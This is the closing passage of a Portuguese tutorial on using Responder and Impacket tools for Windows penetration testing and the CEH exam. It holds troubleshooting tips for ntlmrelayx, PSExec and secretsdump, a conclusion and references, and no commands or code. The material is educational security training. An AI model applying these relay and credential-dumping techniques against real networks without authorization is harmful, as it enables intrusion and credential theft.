- **ntlmrelayx falha**: Verificar SMB signing e suporte a SMBv2
- **PSExec falha**: Verificar firewall e permissões na máquina alvo
- **Secretsdump falha**: Verificar privilégios administrativos

9. Conclusão

A combinação do Responder com as ferramentas Impacket oferece um poderoso arsenal para testes de penetração em ambientes Windows. Dominando estas ferramentas e suas técnicas avançadas, você estará bem preparado para o exame prático CEH e para conduzir avaliações de segurança reais.

A chave para o sucesso está em compreender não apenas os comandos, mas também os protocolos subjacentes e como as diferentes ferramentas podem ser combinadas para criar fluxos de trabalho eficientes.

Pratique regularmente em ambientes controlados, mantenha-se atualizado com as novas técnicas e lembre-se sempre da importância da documentação adequada durante os testes de penetração.

10. Referências

- Documentação oficial do Impacket
- Repositório do Responder
- Guia de SMB Relay Attacks
- Guia de NTLM Authentication
- Windows Security Log Events